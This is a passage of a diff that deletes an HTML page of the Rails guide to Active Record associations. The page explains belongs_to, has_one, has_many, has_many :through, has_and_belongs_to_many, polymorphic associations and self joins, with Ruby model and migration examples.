-						
-							<li><a href="#_association_callbacks">Association Callbacks</a></li>
-						
-							<li><a href="#_association_extensions">Association Extensions</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>A Guide to Active Record Associations</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Declare associations between Active Record models
-</p>
-</li>
-<li>
-<p>
-Understand the various types of Active Record associations
-</p>
-</li>
-<li>
-<p>
-Use the methods added to your models by creating associations
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_why_associations">1. Why Associations?</h2>
-<div class="sectionbody">
-<div class="para"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>find_by_customer_id<span style="color: #990000">(</span><span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
-<span style="color: #009900">@orders</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span>
-  order<span style="color: #990000">.</span>destroy
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this change, creating a new order for a particular customer is easier:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
-</div>
-<h2 id="_the_types_of_associations">2. The Types of Associations</h2>
-<div class="sectionbody">
-<div class="para"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>belongs_to</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_one</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_many</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_many :through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_one :through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_and_belongs_to_many</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
-<h3 id="_the_tt_belongs_to_tt_association">2.1. The <tt>belongs_to</tt> Association</h3>
-<div class="para"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/belongs_to.png" alt="belongs_to Association Diagram" title="belongs_to Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_one_tt_association">2.2. The <tt>has_one</tt> Association</h3>
-<div class="para"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/has_one.png" alt="has_one Association Diagram" title="has_one Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_many_tt_association">2.3. The <tt>has_many</tt> Association</h3>
-<div class="para"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</td>
-</tr></table>
-</div>
-<div class="para"><p><span class="image">
-<img src="images/has_many.png" alt="has_many Association Diagram" title="has_many Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_many_through_tt_association">2.4. The <tt>has_many :through</tt> Association</h3>
-<div class="para"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Physician <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>appointments
-  has_many <span style="color: #990000">:</span>patients<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Appointment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>physician
-  belongs_to <span style="color: #990000">:</span>patient
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Patient <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>appointments
-  has_many <span style="color: #990000">:</span>physicians<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/has_many_through.png" alt="has_many :through Association Diagram" title="has_many :through Association Diagram" />
-</span></p></div>
-<div class="para"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Document <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>sections
-  has_many <span style="color: #990000">:</span>paragraphs<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>sections
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Section <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>document
-  has_many <span style="color: #990000">:</span>paragraphs
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Paragraph <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>section
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_tt_has_one_through_tt_association">2.5. The <tt>has_one :through</tt> Association</h3>
-<div class="para"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-  has_one <span style="color: #990000">:</span>account_history<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>supplier
-  has_one <span style="color: #990000">:</span>account_history
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AccountHistory <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/has_one_through.png" alt="has_one :through Association Diagram" title="has_one :through Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_and_belongs_to_many_tt_association">2.6. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="para"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/habtm.png" alt="has_and_belongs_to_many Association Diagram" title="has_and_belongs_to_many Association Diagram" />
-</span></p></div>
-<h3 id="_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">2.7. Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h3>
-<div class="para"><p>If you want to set up a 1-1 relationship between two models, you'll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
-<div class="para"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>supplier
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The corresponding migration might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateSuppliers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>suppliers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-    create_table <span style="color: #990000">:</span>accounts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>supplier_id
-      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>account_number
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>accounts
-    drop_table <span style="color: #990000">:</span>suppliers
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Using <tt>t.integer :supplier_id</tt> makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using <tt>t.references :supplier</tt> instead.</td>
-</tr></table>
-</div>
-<h3 id="_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">2.8. Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h3>
-<div class="para"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>manifests
-  has_many <span style="color: #990000">:</span>parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Manifest <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>assembly
-  belongs_to <span style="color: #990000">:</span>part
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>manifests
-  has_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you'll need to remember to create the joining table).</p></div>
-<div class="para"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
-<h3 id="_polymorphic_associations">2.9. Polymorphic Associations</h3>
-<div class="para"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Picture <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>imageable_id
-      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>imageable_type
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>pictures
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>pictures
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
-<img src="images/polymorphic.png" alt="Polymorphic Association Diagram" title="Polymorphic Association Diagram" />
-</span></p></div>
-<h3 id="_self_joins">2.10. Self Joins</h3>
-<div class="para"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>subordinates<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"manager_id"</span>
-  belongs_to <span style="color: #990000">:</span>manager<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p></div>
-</div>
-<h2 id="_tips_tricks_and_warnings">3. Tips, Tricks, and Warnings</h2>
-<div class="sectionbody">
-<div class="para"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Controlling caching
-</p>
-</li>
-<li>
-<p>
-Avoiding name collisions
-</p>
-</li>
-<li>
-<p>
-Updating the schema
-</p>
-</li>
-<li>
-<p>
-Controlling association scope
-</p>
-</li>
-</ul></div>
-<h3 id="_controlling_caching">3.1. Controlling Caching</h3>
-<div class="para"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer<span style="color: #990000">.</span>orders                 <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size            <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty?          <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-</tt></pre></div></div>
